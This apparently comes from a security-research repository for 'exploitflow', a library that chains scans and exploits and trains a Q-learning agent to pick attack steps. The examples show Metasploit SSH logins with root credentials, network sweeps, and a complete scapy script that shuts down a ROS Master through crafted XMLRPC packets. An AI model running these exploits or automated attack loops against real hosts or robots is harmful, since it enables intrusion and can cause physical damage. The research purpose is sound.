ef.adapter_msf_initializer.get_name("auxiliary", "scanner/ssh/ssh_login") 55 | metasploit_2.name = "scanner/ssh/ssh_login @ 192.168.2.5" 56 | 57 | ## set options 58 | ef.targets.target = "192.168.2.1" 59 | ef.versions.target = "192.168.2.10" 60 | msf_options = { 61 | "RHOSTS": "192.168.2.10", 62 | "USERNAME": "root", 63 | "PASSWORD": "easybot" 64 | } 65 | ef.metasploit.set_options(msf_options) 66 | ef.metasploit.target = "192.168.2.10" 67 | 68 | msf_options = { 69 | "RHOSTS": "192.168.2.5", 70 | "USERNAME": "root", 71 | "PASSWORD": "easybot" 72 | } 73 | metasploit_2.set_options(msf_options) 74 | metasploit_2.target = "192.168.2.5" 75 | 76 | ## set reward 77 | ef.idle.reward = 0 78 | ef.metasploit.reward = -100 # first time successful, will do "*(-1)" to get "+100" 79 | metasploit_2.reward = -100 # first time successful, will do "*(-1)" to get "+100 80 | ef.versions.reward = -10 81 | ef.targets.reward = -10 82 | 83 | # # if needed 84 | # ef.exploits_all_instances = ef.exploits_all_instances + [...] 85 | 86 | # global variables used for the one-hot-encoded state 87 | exploits = [ef.targets, # reconnaissance, footprinting 88 | ef.versions, # reconnaissance, fingerprinting 89 | ef.idle, # idle 90 | ef.metasploit, # ssh exploit, 192.168.2.10 91 | metasploit_2, # ssh exploit, 192.168.2.5 92 | ef.init, 93 | ] 94 | # exploits = [versions, idle, expl] 95 | exploits_encoded = [exploit.name for exploit in exploits] 96 | 97 | 98 | # set learning model 99 | ## actions: list of actions available in the environment 100 | ## epsilon: exploration factor 101 | ## alpha: learning rate 102 | ## gamma: discount factor 103 | flow.set_learning_model(ef.QLearn(actions=exploits_encoded, alpha=0.1, gamma=0.9, epsilon=0.1)) 104 | 105 | 106 | def reset(exploits): 107 | for exploit in exploits: 108 | exploit.run = False # set run to False, to reset their capabilities 109 | 110 | def soft_reset(exploits): 111 | for exploit in exploits: 112 | exploit.soft_reset = True 113 | exploit.run = False # set run to False, to reset their capabilities 114 | 115 | # train 116 | rollouts = 1000 117 | episode = 10 118 | age = 1 119 | debug = False 120 | last_10_actions = [] 121 | while age <= rollouts: 122 | 123 | # observe the reward and update the model 124 | if flow.last_state(): 125 | flow._graph.learning_model.learn( 126 | tuple(flow.last_state().one_hot_encode()), 127 | flow.last_action().name, 128 | flow.last_reward(), 129 | tuple(flow.state().one_hot_encode()), 130 | debug=False) 131 | 132 | # choose an action 133 | if flow.state(): 134 | action = flow._graph.learning_model.chooseAction(tuple(flow.state().one_hot_encode())) 135 | else: 136 | # use init 137 | action = ef.init.name # always start with init 138 | 139 | last_10_actions.append(action) 140 | # fetch the action object from its "exploits_encoded" name 141 | action_expl = [exploit for exploit in exploits if exploit.name == action][0] 142 | 143 | # execute that action 144 | if flow.state(): 145 | flow.run(flow.state() * action_expl, debug=debug) 146 | else: 147 | flow.run(action_expl, debug=debug) 148 | 149 | if age % 10 == 0: 150 | 151 | # debug 152 | age_str = "Age: " + color("{:d}".format(age), fg="white", bg="blue", bold=True) 153 | epsilon_str = ", epsilon: {:0.2f}".format(flow._graph.learning_model.epsilon) 154 | reward_str = ", reward: " + color("{:0.2f}".format(flow.reward()), fg="white", bg="red", bold=True) 155 | bytes = sys.getsizeof(flow._graph.learning_model.q) 156 | q_size_str = ", Q-size bytes: {:d} ".format(bytes) 157 | q_size_str += color("({:.2f} KB, {:d} elements)".format(bytes/1024, len(flow._graph.learning_model.q.keys())), 158 | fg="white", bg="blue", bold=True) 159 | print_message = age_str + epsilon_str + reward_str + q_size_str 160 | 161 | # last_actions_str = " -- last 10 actions: " + ", " + color([str(n) for n in last_10_actions[-10:]], fg="black", bg="white") 162 | # last_10_actions = [] 163 | # print_message += last_actions_str 164 | print(print_message) 165 | 166 | if age == rollouts: 167 | print(flow) 168 | 169 | if age % episode == 0: 170 | # print(flow) 171 | # reset the flow 172 | flow.reset() # reward=0, state=None, last_state=None, last_action=None, last_reward=None 173 | # reset(exploits) # reset status of exploits 174 | soft_reset([ef.metasploit]) 175 | 176 | # next rollout 177 | age += 1 178 | 179 | # try things out, reset the flow and the exploits: 180 | flow = ef.Flow() 181 | reset(exploits) 182 | # initialize flow 183 | state = flow.run(ef.init) 184 | actions = [] 185 | for i in range(9): # let the model pick 9 actions 186 | action = flow._graph.learning_model.chooseAction(tuple(flow.state().one_hot_encode())) 187 | actions.append(action) 188 | action_expl = [exploit for exploit in exploits if exploit.name == action][0] 189 | flow.run(flow.state() * action_expl) 190 | 191 | print(flow) 192 | print(actions) 193 | -------------------------------------------------------------------------------- /examples/12_exploitation_ur_learned_flow.py: -------------------------------------------------------------------------------- 1 | import math 2 | import random 3 | import sys 4 | import exploitflow as ef 5 | from wasabi import color 6 | from exploitflow.state import State_v4 7 | State_default = State_v4 8 | 9 | flow = ef.Flow() 10 | 11 | ## new exploits, if needed 12 | metasploit_2 = ef.adapter_msf_initializer.get_name("auxiliary", "scanner/ssh/ssh_login") 13 | metasploit_2.name = "scanner/ssh/ssh_login @ 192.168.2.5" 14 | 15 | ## set options 16 | # ef.targets.target = "192.168.2.1" 17 | # ef.versions.target = "192.168.2.10" 18 | msf_options = { 19 | "RHOSTS": "192.168.2.10", 20 | "USERNAME": "root", 21 | "PASSWORD": "easybot" 22 | } 23 | ef.metasploit.set_options(msf_options) 24 | ef.metasploit.target = "192.168.2.10" 25 | 26 | msf_options = { 27 | "RHOSTS": "192.168.2.5", 28 | "USERNAME": "root", 29 | "PASSWORD": "easybot" 30 | } 31 | metasploit_2.set_options(msf_options) 32 | metasploit_2.target = "192.168.2.5" 33 | 34 | ## set reward 35 | ef.idle.reward = 0 36 | ef.metasploit.reward = -100 # first time successful, will do "*(-1)" to get "+100" 37 | metasploit_2.reward = -100 # first time successful, will do "*(-1)" to get "+100 38 | # ef.versions.reward = -10 39 | # ef.targets.reward = -10 40 | 41 | # state = flow.run(ef.init) 42 | # state = flow.run(flow.state() * ef.metasploit) 43 | # state = flow.run(flow.state() * ef.idle) 44 | # state = flow.run(flow.state() * ef.idle) 45 | # state = flow.run(flow.state() * ef.idle) 46 | # state = flow.run(flow.state() * ef.idle) 47 | # state = flow.run(flow.state() * ef.idle) 48 | # state = flow.run(flow.state() * ef.idle) 49 | # state = flow.run(flow.state() * ef.idle) 50 | # state = flow.run(flow.state() * ef.idle) 51 | 52 | state = flow.run(ef.init * ef.metasploit * 53 | ef.idle * ef.idle * ef.idle * ef.idle * 54 | ef.idle * ef.idle * ef.idle * ef.idle) 55 | print(flow) 56 | 57 | # # ASCII-depict graph 58 | # print(flow.ascii()) 59 | flow.to_dot("/tmp/exploitflow.dot") 60 | # flow.plot() -------------------------------------------------------------------------------- /examples/13_exploitation_ur_bruteforce.py: -------------------------------------------------------------------------------- 1 | import math 2 | import random 3 | import sys 4 | import exploitflow as ef 5 | from wasabi import color 6 | from exploitflow.state import State_v4 7 | State_default = State_v4 8 | import itertools 9 | 10 | flow = ef.Flow() 11 | 12 | ## set options 13 | ef.targets.target = "192.168.2.1" 14 | ef.versions.target = "192.168.2.10" 15 | msf_options = { 16 | "RHOSTS": "192.168.2.10", 17 | "USERNAME": "root", 18 | "PASSWORD": "easybot" 19 | } 20 | ef.metasploit.set_options(msf_options) 21 | ef.metasploit.target = "192.168.2.10" 22 | 23 | ## set reward 24 | ef.idle.reward = 0 25 | ef.metasploit.reward = -100 # first time successful, will do "*(-1)" to get "+100" 26 | ef.versions.reward = -10 27 | ef.targets.reward = -10 28 | 29 | 30 | exploits = [ef.idle, ef.metasploit, ef.versions, ef.targets] 31 | 32 | # Get all permutations of the list 33 | permutations = list(itertools.permutations(exploits)) 34 | state = flow.run(ef.init) 35 | for perm in permutations: 36 | for expl in perm: 37 | state = flow.run(flow.state() * expl) 38 | 39 | print(flow) 40 | 41 | # # ASCII-depict graph 42 | # print(flow.ascii()) 43 | 44 | flow.to_dot("/tmp/exploitflow.dot") -------------------------------------------------------------------------------- /examples/1_basic.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # A exploit flow that combines various 16 | # basic operations over trivial exploits 17 | # (Constant, Bool), etc. 18 | # 19 | # Aims to demonstrate composition of exploits. 20 | # 21 | # ┌────────────┐ [] ┌────────────┐ 22 | # │ Constant_1 │ ◀──── │ Init │ 23 | # └────────────┘ └────────────┘ 24 | # │ │ 25 | # │ [3] │ [] 26 | # ▼ ▼ 27 | # ┌────────────┐ ┌────────────┐ 28 | # │ Mul_1 │ │ Constant │ 29 | # └────────────┘ └────────────┘ 30 | # │ │ 31 | # │ │ [1] 32 | # │ ▼ 33 | # │ ┌────────────┐ 34 | # │ │ Mul │ 35 | # │ └────────────┘ 36 | # │ │ 37 | # │ │ [1] 38 | # │ ▼ 39 | # │ ┌────────────┐ 40 | # │ │ Constant_0 │ 41 | # │ └────────────┘ 42 | # │ │ 43 | # │ │ [1, 2] 44 | # │ ▼ 45 | # │ ┌────────────┐ 46 | # │ │ Mul_0 │ 47 | # │ └────────────┘ 48 | # │ │ 49 | # │ │ 50 | # │ ▼ 51 | # │ ┌────────────┐ 52 | # └────────────────▶ │ Add │ 53 | # └────────────┘ 54 | # │ 55 | # │ [1, 2, 3] 56 | # ▼ 57 | # ┌────────────┐ 58 | # │ Bool │ 59 | # └────────────┘ 60 | # │ 61 | # │ [1, 2, 3] 62 | # ▼ 63 | # ┌────────────┐ 64 | # │ Mul_2 │ 65 | # └────────────┘ 66 | 67 | 68 | import exploitflow as ef 69 | from exploitflow.state import State_v0 70 | 71 | flow = ef.Flow(State_v0) # use basic data model 72 | init = ef.Init() 73 | 74 | c = ef.Constant(1) # Constant 75 | d = ef.Constant(2) # Constant_0 76 | e = ef.Constant(3) # Constant_1 77 | f = ef.Boolean(False) 78 | 79 | print(flow.run(((init * c * d) + (init * e)) * f, debug=False, target="127.0.0.1")) 80 | print(flow.ascii()) -------------------------------------------------------------------------------- /examples/2_reconnaissance.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # A exploit flow that performs simple reconnaissance 16 | # 17 | # ┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐ 18 | # │ Init │ 19 | # └─────────────────────────────────────────────────────────────────────────────────────────────────────┘ 20 | # │ 21 | # │ {'exploits': [], 'ports': []} 22 | # ▼ 23 | # ┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐ 24 | # │ FakeVersionExploit │ 25 | # └─────────────────────────────────────────────────────────────────────────────────────────────────────┘ 26 | # │ 27 | # │ {'exploits': ['FakeVersionExploit'], 'ports': ['21|fake||None', '23|fake||None', '31|fake||None']} 28 | # ▼ 29 | # ┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐ 30 | # │ Mul │ 31 | # └─────────────────────────────────────────────────────────────────────────────────────────────────────┘ 32 | 33 | import exploitflow as ef 34 | # from exploitflow.state import State_v0 35 | 36 | flow = ef.Flow() 37 | init = ef.Init() 38 | 39 | # reconnaissance action 40 | recon = ef.Versions(ports=ef.state.TARGET_PORTS_OSX) 41 | # recon = ef.FakeVersions(name="FakeVersionExploit") # fake port scanning to speed things up 42 | 43 | # initialize state and pass it over a recon action 44 | # resulting flow should deliver a state annotated 45 | # with the results from the reconnaissance step 46 | state = flow.run(init * recon, target="127.0.0.1") 47 | # print(state) 48 | 49 | # ASCII-depict graph 50 | print(flow.ascii()) 51 | -------------------------------------------------------------------------------- /examples/3_reconnaissance_msf.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # A exploit flow that performs simple reconnaissance with MSF 16 | 17 | import exploitflow as ef 18 | # from exploitflow.state import State_v0 19 | 20 | flow = ef.Flow() 21 | init = ef.Init() 22 | 23 | # Build MSF reconnaissance exploit 24 | msf_options = { 25 | "RHOSTS": "127.0.0.1" 26 | } 27 | recon = ef.adapter_msf_initializer.get_name("auxiliary", "scanner/discovery/arp_sweep") 28 | recon.set_options(msf_options) 29 | 30 | if not recon.missing(): 31 | # initialize state and pass it over a recon action 32 | # resulting flow should deliver a state annotated 33 | # with the results from the reconnaissance step 34 | state = flow.run(init * recon) 35 | # print(flow.run(init)) 36 | 37 | # ASCII-depict graph 38 | print(flow.ascii()) 39 | -------------------------------------------------------------------------------- /examples/4_reconnaissance_multitarget_msf.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # A exploit flow that performs reconnaissance locating multiple targets 16 | # in the local area network and then conducting scans on each one 17 | # of them to fill up the state 18 | # 19 | # ┌────────────────────────────────────────────────────────┐ 20 | # │ Init │ 21 | # └────────────────────────────────────────────────────────┘ 22 | # │ 23 | # │ {} 24 | # ▼ 25 | # ┌────────────────────────────────────────────────────────┐ 26 | # │ scanner/discovery/arp_sweep │ 27 | # └────────────────────────────────────────────────────────┘ 28 | # │ 29 | # │ {'192.168.1.1': {'exploits': [], 'ports': []}, 30 | # │ '192.168.1.6': {'exploits': [], 'ports': []}} 31 | # ▼ 32 | # ┌────────────────────────────────────────────────────────┐ 33 | # │ Mul_0 │ 34 | # └────────────────────────────────────────────────────────┘ 35 | # │ 36 | # │ {'192.168.1.1': {'exploits': [], 'ports': []}, 37 | # │ '192.168.1.6': {'exploits': [], 'ports': []}} 38 | # ▼ 39 | # ┌────────────────────────────────────────────────────────┐ 40 | # │ VersionExploit │ 41 | # └────────────────────────────────────────────────────────┘ 42 | # │ 43 | # │ {'192.168.1.1': {'exploits': ['VersionExploit'], 44 | # │ 'ports': ['port: 111, name: rpcbind, version: 2-4']}, 45 | # │ '192.168.1.6': {'exploits': [], 'ports': []}} 46 | # ▼ 47 | # ┌────────────────────────────────────────────────────────┐ 48 | # │ Mul │ 49 | # └────────────────────────────────────────────────────────┘ 50 | 51 | 52 | import exploitflow as ef 53 | 54 | flow = ef.Flow() 55 | init = ef.Init() 56 | 57 | # Build MSF reconnaissance exploit 58 | msf_options = { 59 | "RHOSTS": "192.168.2.0/24" 60 | } 61 | recon_multi = ef.adapter_msf_initializer.get_name("auxiliary", "scanner/discovery/arp_sweep") 62 | recon_multi.set_options(msf_options) 63 | versions = ef.Versions(ports=ef.state.TARGET_PORTS_BASIC) 64 | 65 | if not recon_multi.missing(): 66 | # initialize state and pass it over a recon action 67 | # resulting flow should deliver a state annotated 68 | # with the results from the reconnaissance step 69 | state = flow.run(init * recon_multi * versions, target="192.168.2.1") 70 | # print(flow.run(init)) 71 | 72 | # ASCII-depict graph 73 | print(flow.ascii()) 74 | 75 | -------------------------------------------------------------------------------- /examples/5_reconnaissance_multitarget_nmap.py: -------------------------------------------------------------------------------- 1 | # Copyright 2022 Víctor Mayoral-Vilches. All Rights Reserved. 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # http://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # A exploit flow that performs reconnaissance locating multiple targets 16 | # in the local area network and then conducting scans on each one 17 | # of them to fill up the state 18 | 19 | # ┌─────────────────────────────────────────────────────────────────────┐ 20 | # │ Init │ 21 | # └─────────────────────────────────────────────────────────────────────┘ 22 | # │ 23 | # │ {} 24 | # ▼ 25 | # ┌─────────────────────────────────────────────────────────────────────┐ 26 | # │ TargetsExploit │ 27 | # └─────────────────────────────────────────────────────────────────────┘ 28 | # │ 29 | # │ {'192.168.1.1': {'exploits': ['TargetsExploit'], 'ports': []}, 30 | # │ '192.168.1.5': {'exploits': ['TargetsExploit'], 'ports': []}, 31 | # │ '192.168.1.6': {'exploits': ['TargetsExploit'], 'ports': []}} 32 | # ▼ 33 | # ┌─────────────────────────────────────────────────────────────────────┐ 34 | # │ Mul_0 │ 35 | # └─────────────────────────────────────────────────────────────────────┘ 36 | # │ 37 | # │ {'192.168.1.1': {'exploits': ['TargetsExploit'], 'ports': []}, 38 | # │ '192.168.1.5': {'exploits': ['TargetsExploit'], 'ports': []}, 39 | # │ '192.168.1.6': {'exploits': ['TargetsExploit'], 'ports': []}} 40 | # ▼ 41 | # ┌─────────────────────────────────────────────────────────────────────┐ 42 | # │ VersionExploit │ 43 | # └─────────────────────────────────────────────────────────────────────┘ 44 | # │ 45 | # │ {'192.168.1.1': {'exploits': ['VersionExploit', 'TargetsExploit'], 46 | # │ 'ports': ['port: 111, name: rpcbind, version: 2-4']}, 47 | # │ '192.168.1.5': {'exploits': ['TargetsExploit'], 'ports': []}, 48 | # │ '192.168.1.6': {'exploits': ['TargetsExploit'], 'ports': []}} 49 | # ▼ 50 | # ┌─────────────────────────────────────────────────────────────────────┐ 51 | # │ Mul │ 52 | # └─────────────────────────────────────────────────────────────────────┘ 53 | 54 | import exploitflow as ef 55 | 56 | flow = ef.Flow() 57 | init = ef.Init() 58 | 59 | # Build nmap reconnaissance exploit 60 | recon = ef.Targets() 61 | # versions = ef.Versions(ports=ef.state.TARGET_PORTS_BASIC) 62 | versions = ef.Versions(ports=ef.state.TARGET_PORTS_COMPLETE) 63 | 64 | 65 | # initialize state and pass it over a recon action 66 | # resulting flow should deliver a state annotated 67 | # with the results from the reconnaissance step 68 | state = flow.run(init * recon * versions, target="192.168.2.10") 69 | # print(flow.run(init)) 70 | 71 | # ASCII-depict graph 72 | print(flow.ascii()) 73 | flow.to_dot("/tmp/exploitflow.dot") 74 | 75 | -------------------------------------------------------------------------------- /examples/6_exploitation_ros.py: -------------------------------------------------------------------------------- 1 | """ 2 | Kill ROS Master using undocumented API functions, nothing fancy. 3 | Found with some silly fuzz testing. 4 | 5 | - Authors: Víctor Mayoral Vilches 6 | - Description: Shutdown ROS Master using its API 7 | 8 | DISCLAIMER: Use against your own hosts only! By no means Alias Robotics 9 | or the authors of this exploit encourage or promote the unauthorized tampering 10 | with running robotic systems. This can cause serious human harm and material 11 | damages. This is for educational purposes only. 12 | """ 13 | 14 | from scapy.all import * 15 | from scapy.layers.inet import TCP, IP 16 | from scapy.layers.http import HTTP, HTTPRequest, HTTPResponse 17 | from scapy.layers.l2 import Ether 18 | from scapy.contrib.tcpros import * 19 | # from fuzzingbook.Fuzzer import RandomFuzzer 20 | import sys 21 | import random 22 | from datetime import datetime 23 | from subprocess import Popen, PIPE 24 | 25 | # import rospy 26 | 27 | # bind layers so that packages are recognized as TCPROS 28 | bind_layers(TCP, TCPROS) 29 | bind_layers(HTTPRequest, XMLRPC) 30 | bind_layers(HTTPResponse, XMLRPC) 31 | # bind_layers(HTTPROSRequest, XMLRPC) 32 | # bind_layers(HTTPROSResponse, XMLRPC) 33 | 34 | ################################################################################### 35 | # VARIABLES 36 | ################################################################################### 37 | 38 | source = "192.168.2.5" 39 | # or even its own. 40 | random.seed(datetime.now()) 41 | 42 | package_shutdown = ( 43 | IP(version=4, ihl=5, tos=0, flags=2, dst="192.168.2.6") 44 | / TCP( 45 | sport=20001, 46 | dport=11311, 47 | seq=1, 48 | flags="PA", 49 | ack=1, 50 | ) 51 | / TCPROS() 52 | / HTTP() 53 | / HTTPRequest( 54 | Accept_Encoding=b"gzip", 55 | Content_Length=b"227", 56 | Content_Type=b"text/xml", 57 | Host=b"192.168.2.6:11311", 58 | User_Agent=b"xmlrpclib.py/1.0.1 (by www.pythonware.com)", 59 | Method=b"POST", 60 | Path=b"/RPC2", 61 | Http_Version=b"HTTP/1.1", 62 | ) 63 | / XMLRPC() 64 | / XMLRPCCall( 65 | version=b"\n", 66 | methodcall_opentag=b"\n", 67 | methodname_opentag=b"", 68 | methodname=b"shutdown", 69 | methodname_closetag=b"\n", 70 | params_opentag=b"\n", 71 | params=b"\n/rosparam-92418\n\n\n4L145_R080T1C5\n\n", 72 | params_closetag=b"\n", 73 | methodcall_closetag=b"\n", 74 | ) 75 | ) 76 | 77 | 78 | ################################################################################### 79 | # GENERAL FUNCTIONS 80 | ################################################################################### 81 | 82 | 83 | def yellow(text): 84 | print("\033[33m", text, "\033[0m", sep="") 85 | 86 | 87 | def red(text): 88 | print("\033[31m", text, "\033[0m", sep="") 89 | 90 | 91 | def gray(text): 92 | print("\033[90m", text, "\033[0m", sep="") 93 | 94 | 95 | def magenta(text): 96 | print("\033[35m", text, "\033[0m", sep="") 97 | 98 | 99 | def log_events(log_info, type_event): 100 | """ 101 | Log events for post-analysis 102 | 103 | param log_info, scapy package 104 | param type_event: str, either "fuzzing", "weird" or "error" 105 | """ 106 | 107 | log_msg = ( 108 | "[" 109 | + time.ctime() 110 | + "]" 111 | + "\n\n" 112 | + log_info.command() 113 | + "\n\n" 114 | + raw(log_info).decode("iso-8859-1") 115 | ) 116 | # log_msg_encoded = log_info 117 | 118 | if type_event == "fuzzing": 119 | try: 120 | fd = open("fuzz.log", "a") 121 | except IOError as err: 122 | return "[!] Error opening log file: %s" % str(err) 123 | 124 | elif type_event == "error": 125 | try: 126 | fd = open("error.log", "a") 127 | except IOError as err: 128 | return "[!] Error opening error file: %s" % str(err) 129 | 130 | elif type_event == "weird": 131 | try: 132 | fd = open("weird.log", "a") 133 | except IOError as err: 134 | return "[!] Error opening error file: %s" % str(err) 135 | 136 | else: 137 | return "[!] '%s' is an unrecognized log event type." % type_event 138 | 139 | if fd: 140 | fd.write(log_msg) 141 | 142 | return 143 | 144 | 145 | def preamble(): 146 | """ 147 | ROS XMLRPC preamble 148 | 149 | returns: bool, indicating if successful 150 | """ 151 | # send the SYN, receive response 152 | p_attack = IP(version=4, frag=0, ttl=64, proto=6, dst=destination) / TCP( 153 | sport=origin_port, dport=11311, seq=0, ack=0, flags=2 154 | ) 155 | ans = sr1(p_attack, retry=0, timeout=1) 156 | # ans = srp1(p_attack, retry=0, timeout=1) 157 | 158 | if ans and len(ans) > 0 and ans[TCP].flags == "SA": 159 | # print(ans.summary()) # debug 160 | # ls(ans) # debug 161 | 162 | # send the ACK 163 | p_attack = IP( 164 | version=4, ihl=5, flags=2, frag=0, ttl=64, proto=6, dst=destination 165 | ) / TCP( 166 | sport=origin_port, 167 | dport=11311, 168 | flags=16, 169 | seq=ans[TCP].ack, 170 | ack=ans[TCP].seq + 1, 171 | ) 172 | send(p_attack) 173 | return True, ans 174 | else: 175 | return False, ans 176 | 177 | 178 | def process_xmlrpc_response(p_attack, ans, unans, field_name=None): 179 | """ 180 | Abstracts how the different functions process the XMLRPC responses 181 | for logging and analysis purposes. 182 | 183 | param p_attack: package used during the attack 184 | param ans: first result from scapy sr 185 | param uans: second result from scapy sr 186 | param field_name: field_name to consider when logging/evaluating 187 | 188 | Essentially: 189 | 1. makes sure that there's an answer 190 | 2. fetches the field to evaluate (or None) 191 | 3. Checks results and responses and logs accordingly 192 | """ 193 | 194 | # check if there's been an answer at all 195 | if len(ans) > 0: 196 | # ans.show() # debug 197 | # print(list(ans[0][1])[0][XMLRPC]) # debug 198 | # print(ans[0][1][1][XMLRPC]) # debug 199 | 200 | response = list(ans[0][1])[0] 201 | if response == None: 202 | red("response None") 203 | 204 | # give it some colour for visual debugging: 205 | # print(response[XMLRPC]) 206 | 207 | # print(response) # debug 208 | # print(type(response)) # debug 209 | # print(b"Error" in response) # debug 210 | # print(b"Error" in raw(response)) # debug 211 | 212 | field_evaluated = getattr(p_attack, field_name) 213 | 214 | if ( 215 | b"Error" in raw(response) 216 | or b"is not set" in raw(response) 217 | or b"Exception" in raw(response) 218 | or b"missing required caller_id" in raw(response) 219 | ): 220 | red(response[XMLRPC]) 221 | if not field_evaluated in errors_list: 222 | log_events(p_attack[XMLRPC], "error") 223 | errors_list.append(field_evaluated) 224 | 225 | # params, /rosdistro 226 | elif ( 227 | b"melodic" in raw(response) # hardcoded for testing setup 228 | and b"1" in raw(response) 229 | and field_name == "params" 230 | ): 231 | yellow(response[XMLRPC]) 232 | if not field_evaluated in valid_list: 233 | log_events(p_attack[XMLRPC], "fuzzing") 234 | valid_list.append(field_evaluated) 235 | 236 | # params, setParam 237 | elif ( 238 | b"parameter" in raw(response) # hardcoded for testing setup 239 | and b"1" in raw(response) 240 | and b"set" in raw(response) 241 | # and b"0" in raw(response) 242 | and field_name == "params" 243 | ): 244 | yellow(response[XMLRPC]) 245 | if not field_evaluated in valid_list: 246 | log_events(p_attack[XMLRPC], "fuzzing") 247 | valid_list.append(field_evaluated) 248 | 249 | # getPid 250 | elif b"1" in raw(response) and field_name == "methodname": 251 | yellow(response[XMLRPC]) 252 | if not field_evaluated in valid_list: 253 | log_events(p_attack[XMLRPC], "fuzzing") 254 | valid_list.append(field_evaluated) 255 | 256 | else: 257 | #  something weird happened, review 258 | magenta(response[XMLRPC]) 259 | if not field_evaluated in weird_list: 260 | log_events(p_attack[XMLRPC], "weird") 261 | weird_list.append(field_evaluated) 262 | 263 | ################# 264 | # send the ACK so that we don't get spammed for retransmissions 265 | ################# 266 | 267 | ack = IP( 268 | version=4, ihl=5, flags=2, frag=0, ttl=64, proto=6, dst="192.168.2.6" 269 | ) / TCP( 270 | sport=origin_port, 271 | dport=11311, 272 | flags=16, 273 | seq=response[TCP].ack, 274 | ack=len(response[TCP].payload) + response[TCP].seq, 275 | ) 276 | send(ack) 277 | 278 | 279 | ################################################################################### 280 | # ATTACKS 281 | ################################################################################### 282 | 283 | 284 | def shutdown(): 285 | """ 286 | Call the shutdown method from the external API defined as: 287 | 288 | Stop this server 289 | @param caller_id: ROS caller id 290 | @type caller_id: str 291 | @param msg: a message describing why the node is being shutdown. 292 | @type msg: str 293 | @return: [code, msg, 0] 294 | @rtype: [int, str, int] 295 | 296 | """ 297 | success, ans = preamble() 298 | if success: 299 | 300 | # Using default packages 301 | p_attack = package_shutdown 302 | p_attack[IP].dst = destination 303 | p_attack[TCP].sport = origin_port 304 | p_attack[TCP].seq = ans[TCP].ack 305 | p_attack[TCP].ack = ans[TCP].seq + 1 306 | 307 | # adjust size of XMLRPC package payload 308 | p_attack[HTTPRequest].Content_Length = str( 309 | len(p_attack[HTTPRequest].payload) 310 | ).encode("iso-8859-1") 311 | 312 | # gray(p_attack[XMLRPC].params) # debug package to send 313 | ans, unans = sr(p_attack, timeout=5) 314 | 315 | # process the response coherently and return ACK 316 | process_xmlrpc_response(p_attack, ans, unans, "params") 317 | 318 | 319 | ################################################################################### 320 | # CORE LOGIC 321 | ################################################################################### 322 | 323 | # ############################## 324 | # # fuzzing getParam 325 | # ############################## 326 | weird_list = [] # list containing weird/non-accounted responses 327 | errors_list = [] #  a list containing each 328 | valid_list = [] 329 | 330 | print(conf.iface) 331 | 332 | if len(sys.argv) < 2: 333 | print("Supply IP as a first argument") 334 | else: 335 | origin_port = random.randint(12000, 65000) 336 | destination = sys.argv[1] 337 | shutdown() 338 | -------------------------------------------------------------------------------- /examples/7_reconnaissance_ros2.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | from scapy.layers.inet import UDP, IP 3 | from scapy.contrib.rtps import * 4 | from wasabi import color 5 | 6 | bind_layers(UDP, RTPS) 7 | conf.verb = 0 8 | 9 | src = "192.168.2.5" 10 | dst = "192.168.2.7" 11 | sport = 6666 12 | dport = 7400 13 | 14 | pkt = ( 15 | IP( 16 | version=4, 17 | ihl=5, 18 | tos=0, 19 | id=61436, 20 | flags=0, 21 | frag=0, 22 | proto=17, 23 | src=src, 24 | dst=dst, 25 | ) 26 | / UDP(sport=sport, dport=dport) 27 | / RTPS( 28 | protocolVersion=ProtocolVersionPacket(major=2, minor=1), 29 | vendorId=VendorIdPacket(vendor_id=b"\x01\x10"), 30 | guidPrefix=GUIDPrefixPacket( 31 | hostId=17849486, appId=752113735, instanceId=4200214739 32 | ), 33 | magic=b"RTPS", 34 | ) 35 | / RTPSMessage( 36 | 